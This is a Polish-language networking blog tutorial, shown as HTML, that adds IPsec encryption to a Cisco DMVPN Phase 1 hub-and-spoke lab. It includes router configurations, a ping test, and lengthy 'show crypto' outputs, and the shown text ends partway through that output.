					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">We wpisie </span><span style="color: #ff0000;"><span style="background-color: initial;"><a href="https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja/" title="">https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja/</a> </span></span><span style="color: #000000;">pokazałem jak skonfigurować DMVPN w fazie 1 z dynamicznymi mapowaniami NHRP. W tym wpisie pokażę jak do tak przygotowanej konfiguracji dodać konfigurację IPSEC, tak żeby łączność pomiędzy urządzeniami była zabezpieczona przy wykorzystaniu IPSEC.</span></p><p><span style="color: #000000;">Przypomnijmy jeszcze raz topologię oraz konfigurację DMVPN w fazie 1 z dynamicznymi mapowaniami NHRP.</span></p><h5><span style="color: #000000;">Topologia</span></h5></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="918b75f" class="elementor-element elementor-element-918b75f elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="a3ada10" class="elementor-element elementor-element-a3ada10 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="af0170c" class="elementor-element elementor-element-af0170c elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="521" height="410" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1.png 521w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/dmvpn_1-300x236.png 300w" sizes="(max-width: 521px) 100vw, 521px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b91bbb2" class="elementor-element elementor-element-b91bbb2 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="24ea96d" class="elementor-element elementor-element-24ea96d elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="1cde9a9" class="elementor-element elementor-element-1cde9a9 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">Konfiguracja DMVPN</span></h5><p><span style="color: #000000;">R1</span></p><pre><span style="color: #000000;">hostname HUB</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.1 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel mode gre multipoint</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.1 255.255.255.0</span><br /><span style="color: #000000;">!</span></pre><p><span style="color: #000000;">R2</span></p><pre><span style="color: #000000;">hostname SPOKE1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.2 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp map 172.22.10.1 192.168.10.1</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> ip nhrp nhs 172.22.10.1</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel destination 192.168.10.1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.2 255.255.255.0</span><br /><span style="color: #000000;">!<br /></span></pre><p><span style="color: #000000;">R3</span></p><pre><span style="color: #000000;">hostname SPOKE2</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.3 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp map 172.22.10.1 192.168.10.1</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> ip nhrp nhs 172.22.10.1</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel destination 192.168.10.1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.3 255.255.255.0</span><br /><span style="color: #000000;">!</span></pre><p><span style="color: #000000;">R4</span></p><pre><span style="color: #000000;">hostname SPOKE3</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface Tunnel0</span><br /><span style="color: #000000;"> ip address 172.22.10.4 255.255.255.0</span><br /><span style="color: #000000;"> ip nhrp map 172.22.10.1 192.168.10.1</span><br /><span style="color: #000000;"> ip nhrp network-id 123</span><br /><span style="color: #000000;"> ip nhrp nhs 172.22.10.1</span><br /><span style="color: #000000;"> tunnel source FastEthernet0/0</span><br /><span style="color: #000000;"> tunnel destination 192.168.10.1</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">interface FastEthernet0/0</span><br /><span style="color: #000000;"> ip address 192.168.10.4 255.255.255.0</span><br /><span style="color: #000000;">!</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="3448fe7" class="elementor-element elementor-element-3448fe7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e27c1b9" class="elementor-element elementor-element-e27c1b9 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="5327d05" class="elementor-element elementor-element-5327d05 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">KONFIGURACJA IPSEC</span></h5><p style="text-align: justify;"><span style="color: #000000;">Przed przystąpieniem do konfigurowania IPSEC sprawdźmy jak wygląda ruch w DMVPN widziany na interfejsie fa0/0 routera R1. Posłużymy się do tego wiresharkiem:</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f0ff15a" class="elementor-element elementor-element-f0ff15a elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="5140eb2" class="elementor-element elementor-element-5140eb2 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="7a3277c" class="elementor-element elementor-element-7a3277c elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/dmvpn_ipsec_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title="">
							<img width="531" height="387" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/dmvpn_ipsec_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/dmvpn_ipsec_1.png 531w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/dmvpn_ipsec_1-300x219.png 300w" sizes="(max-width: 531px) 100vw, 531px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b17b5e7" class="elementor-element elementor-element-b17b5e7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="589037f" class="elementor-element elementor-element-589037f elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="c878c6c" class="elementor-element elementor-element-c878c6c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"></div>
				</div>
				</div>
				<div data-id="8fac96c" class="elementor-element elementor-element-8fac96c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Po uruchomieniu wiresharka spingujmy router R3 (SPOKE-2) z routera R2 (SPOKE-1). W tym celu wydajmy polecene ping 172.22.10.3 na routerze R2 (SPOKE-1).</span></p><pre><span style="color: #000000;">SPOKE1#ping 172.22.10.3</span><br /><span style="color: #000000;">Type escape sequence to abort.</span><br /><span style="color: #000000;">Sending 5, 100-byte ICMP Echos to 172.22.10.3, timeout is 2 seconds:</span><br /><span style="color: #000000;">!!!!!</span><br /><span style="color: #000000;">Success rate is 100 percent (5/5), round-trip min/avg/max = 28/40/60 ms</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="0338328" class="elementor-element elementor-element-0338328 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="7a03318" class="elementor-element elementor-element-7a03318 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="65cc2c6" class="elementor-element elementor-element-65cc2c6 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><span style="color: #000000;">Sprawdźmy jak wygląda ten ruch w wiresharku:</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="08f4f45" class="elementor-element elementor-element-08f4f45 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="ea272e5" class="elementor-element elementor-element-ea272e5 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="acc17e8" class="elementor-element elementor-element-acc17e8 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="360" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_1.png 927w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_1-300x150.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_1-768x384.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="be7f356" class="elementor-element elementor-element-be7f356 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="dcaf817" class="elementor-element elementor-element-dcaf817 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="5f2cc63" class="elementor-element elementor-element-5f2cc63 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Widzimy, że ruch nie jest szyfrowany  i możemy go podsłuchać. Spróbujmy go teraz zabezpieczyć przy pomocy IPSECa.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="09909ea" class="elementor-element elementor-element-09909ea elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="df729e2" class="elementor-element elementor-element-df729e2 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="a197922" class="elementor-element elementor-element-a197922 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><span style="color: #000000;">Konfiguracja IPSEC na każdym routerze wygląda tak samo:</span></p><p><strong><span style="color: #000000;">R1 (HUB), R2 (SPOKE1), R3 (SPOKE2), R4 (SPOKE3)</span></strong></p><pre><span style="color: #000000;">crypto isakmp policy 10</span><br /><span style="color: #000000;"> encr aes</span><br /><span style="color: #000000;"> authentication pre-share</span><br /><span style="color: #000000;"> group 2</span><br /><span style="color: #000000;">crypto isakmp key cisco123 address 0.0.0.0</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">crypto ipsec transform-set TSET esp-aes esp-sha-hmac</span><br /><span style="color: #000000;"> mode transport</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">crypto ipsec profile IPSEC_PROFILE</span><br /><span style="color: #000000;"> set transform-set TSET</span><br /><span style="color: #000000;">!</span><br /><span style="color: #000000;">int tunnel 0</span><br /><span style="color: #000000;"> tunnel protection ipsec profile IPSEC_PROFILE</span></pre><p style="text-align: justify;"><span style="color: #000000;">Po skonfigurowaniu IPSEC sprawdźmy czy zestawił się on poprawnie (isakmp sa i ipsec sa). Wystarczy, że dokonamy sprawdzenia na routerze R1 (HUB), ponieważ routery R2, R3, R4 zestawiają tunele tylko z nim.</span></p><p><span style="color: #000000;"><strong>R1 (HUB)</strong></span></p><pre><span style="color: #000000;">HUB#show crypto isakmp sa</span><br /><span style="color: #000000;">IPv4 Crypto ISAKMP SA</span><br /><span style="color: #000000;">dst src state conn-id status</span><br /><span style="color: #000000;">192.168.10.4 192.168.10.1 QM_IDLE 1005 ACTIVE</span><br /><span style="color: #000000;">192.168.10.1 192.168.10.4 QM_IDLE 1004 ACTIVE</span><br /><span style="color: #000000;">192.168.10.1 192.168.10.3 QM_IDLE 1003 ACTIVE</span><br /><span style="color: #000000;">192.168.10.1 192.168.10.2 QM_IDLE 1001 ACTIVE</span><br /><span style="color: #000000;">192.168.10.2 192.168.10.1 QM_IDLE 1002 ACTIVE</span><br /><span style="color: #000000;">192.168.10.3 192.168.10.1 QM_IDLE 1006 ACTIVE</span></pre><pre><span style="color: #000000;">HUB#show crypto ipsec sa</span><br /><br /><span style="color: #000000;">interface: Tunnel0</span><br /><span style="color: #000000;"> Crypto map tag: Tunnel0-head-0, local addr 192.168.10.1</span><br /><br /><span style="color: #000000;">protected vrf: (none)</span><br /><span style="color: #000000;"> local ident (addr/mask/prot/port): (192.168.10.1/255.255.255.255/47/0)</span><br /><span style="color: #000000;"> remote ident (addr/mask/prot/port): (192.168.10.3/255.255.255.255/47/0)</span><br /><span style="color: #000000;"> current_peer 192.168.10.3 port 500</span><br /><span style="color: #000000;"> PERMIT, flags={origin_is_acl,}</span><br /><span style="color: #000000;"> #pkts encaps: 6, #pkts encrypt: 6, #pkts digest: 6</span><br /><span style="color: #000000;"> #pkts decaps: 7, #pkts decrypt: 7, #pkts verify: 7</span><br /><span style="color: #000000;"> #pkts compressed: 0, #pkts decompressed: 0</span><br /><span style="color: #000000;"> #pkts not compressed: 0, #pkts compr. failed: 0</span><br /><span style="color: #000000;"> #pkts not decompressed: 0, #pkts decompress failed: 0</span><br /><span style="color: #000000;"> #send errors 0, #recv errors 0</span><br /><br /><span style="color: #000000;">local crypto endpt.: 192.168.10.1, remote crypto endpt.: 192.168.10.3</span><br /><span style="color: #000000;"> path mtu 1500, ip mtu 1500, ip mtu idb (none)</span><br /><span style="color: #000000;"> current outbound spi: 0x4D074ABE(1292323518)</span><br /><span style="color: #000000;"> PFS (Y/N): N, DH group: none</span><br /><br /><span style="color: #000000;">inbound esp sas:</span><br /><span style="color: #000000;"> spi: 0xA8B99213(2830733843)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 7, flow_id: 7, sibling_flags 80000000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4329808/3210)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x81E2FE13(2179137043)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 9, flow_id: 9, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4282574/3210)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x7BDEB7FE(2078193662)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 17, flow_id: 17, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4298093/3218)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><br /><span style="color: #000000;">inbound ah sas:</span><br /><br /><span style="color: #000000;">inbound pcp sas:</span><br /><br /><span style="color: #000000;">outbound esp sas:</span><br /><span style="color: #000000;"> spi: 0x2B6C154D(728503629)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 8, flow_id: 8, sibling_flags 80000000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4329808/3210)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x1A5D7249(442331721)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 10, flow_id: 10, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4282574/3210)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x4D074ABE(1292323518)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 18, flow_id: 18, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4298093/3218)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><br /><span style="color: #000000;">outbound ah sas:</span><br /><br /><span style="color: #000000;">outbound pcp sas:</span><br /><br /><span style="color: #000000;">protected vrf: (none)</span><br /><span style="color: #000000;"> local ident (addr/mask/prot/port): (192.168.10.1/255.255.255.255/47/0)</span><br /><span style="color: #000000;"> remote ident (addr/mask/prot/port): (192.168.10.2/255.255.255.255/47/0)</span><br /><span style="color: #000000;"> current_peer 192.168.10.2 port 500</span><br /><span style="color: #000000;"> PERMIT, flags={origin_is_acl,}</span><br /><span style="color: #000000;"> #pkts encaps: 6, #pkts encrypt: 6, #pkts digest: 6</span><br /><span style="color: #000000;"> #pkts decaps: 7, #pkts decrypt: 7, #pkts verify: 7</span><br /><span style="color: #000000;"> #pkts compressed: 0, #pkts decompressed: 0</span><br /><span style="color: #000000;"> #pkts not compressed: 0, #pkts compr. failed: 0</span><br /><span style="color: #000000;"> #pkts not decompressed: 0, #pkts decompress failed: 0</span><br /><span style="color: #000000;"> #send errors 0, #recv errors 0</span><br /><br /><span style="color: #000000;">local crypto endpt.: 192.168.10.1, remote crypto endpt.: 192.168.10.2</span><br /><span style="color: #000000;"> path mtu 1500, ip mtu 1500, ip mtu idb (none)</span><br /><span style="color: #000000;"> current outbound spi: 0x72B18574(1924236660)</span><br /><span style="color: #000000;"> PFS (Y/N): N, DH group: none</span><br /><br /><span style="color: #000000;">inbound esp sas:</span><br /><span style="color: #000000;"> spi: 0x532102AC(1394672300)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 1, flow_id: 1, sibling_flags 80000000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4349860/3205)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0xA0B95616(2696500758)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 3, flow_id: 3, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4203743/3205)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x3D891B1C(1032395548)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 5, flow_id: 5, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4371005/3208)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><br /><span style="color: #000000;">inbound ah sas:</span><br /><br /><span style="color: #000000;">inbound pcp sas:</span><br /><br /><span style="color: #000000;">outbound esp sas:</span><br /><span style="color: #000000;"> spi: 0x8888EE44(2290675268)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 2, flow_id: 2, sibling_flags 80000000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4349860/3205)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x85FE093(140501139)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 4, flow_id: 4, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4203743/3205)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x72B18574(1924236660)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 6, flow_id: 6, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4371005/3208)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><br /><span style="color: #000000;">outbound ah sas:</span><br /><br /><span style="color: #000000;">outbound pcp sas:</span><br /><br /><span style="color: #000000;">protected vrf: (none)</span><br /><span style="color: #000000;"> local ident (addr/mask/prot/port): (192.168.10.1/255.255.255.255/47/0)</span><br /><span style="color: #000000;"> remote ident (addr/mask/prot/port): (192.168.10.4/255.255.255.255/47/0)</span><br /><span style="color: #000000;"> current_peer 192.168.10.4 port 500</span><br /><span style="color: #000000;"> PERMIT, flags={origin_is_acl,}</span><br /><span style="color: #000000;"> #pkts encaps: 1, #pkts encrypt: 1, #pkts digest: 1</span><br /><span style="color: #000000;"> #pkts decaps: 2, #pkts decrypt: 2, #pkts verify: 2</span><br /><span style="color: #000000;"> #pkts compressed: 0, #pkts decompressed: 0</span><br /><span style="color: #000000;"> #pkts not compressed: 0, #pkts compr. failed: 0</span><br /><span style="color: #000000;"> #pkts not decompressed: 0, #pkts decompress failed: 0</span><br /><span style="color: #000000;"> #send errors 0, #recv errors 0</span><br /><br /><span style="color: #000000;">local crypto endpt.: 192.168.10.1, remote crypto endpt.: 192.168.10.4</span><br /><span style="color: #000000;"> path mtu 1500, ip mtu 1500, ip mtu idb (none)</span><br /><span style="color: #000000;"> current outbound spi: 0xD87AECE3(3631934691)</span><br /><span style="color: #000000;"> PFS (Y/N): N, DH group: none</span><br /><br /><span style="color: #000000;">inbound esp sas:</span><br /><span style="color: #000000;"> spi: 0xFCF21C61(4243725409)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 11, flow_id: 11, sibling_flags 80000000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4192015/3216)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x8DACF8C3(2376923331)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 13, flow_id: 13, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4370183/3216)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0xF7D288AB(4157769899)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 15, flow_id: 15, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4608000/3218)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><br /><span style="color: #000000;">inbound ah sas:</span><br /><br /><span style="color: #000000;">inbound pcp sas:</span><br /><br /><span style="color: #000000;">outbound esp sas:</span><br /><span style="color: #000000;"> spi: 0xE7B4AE5B(3887378011)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 12, flow_id: 12, sibling_flags 80000000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4192015/3216)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0x3D9E28E5(1033775333)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 14, flow_id: 14, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime 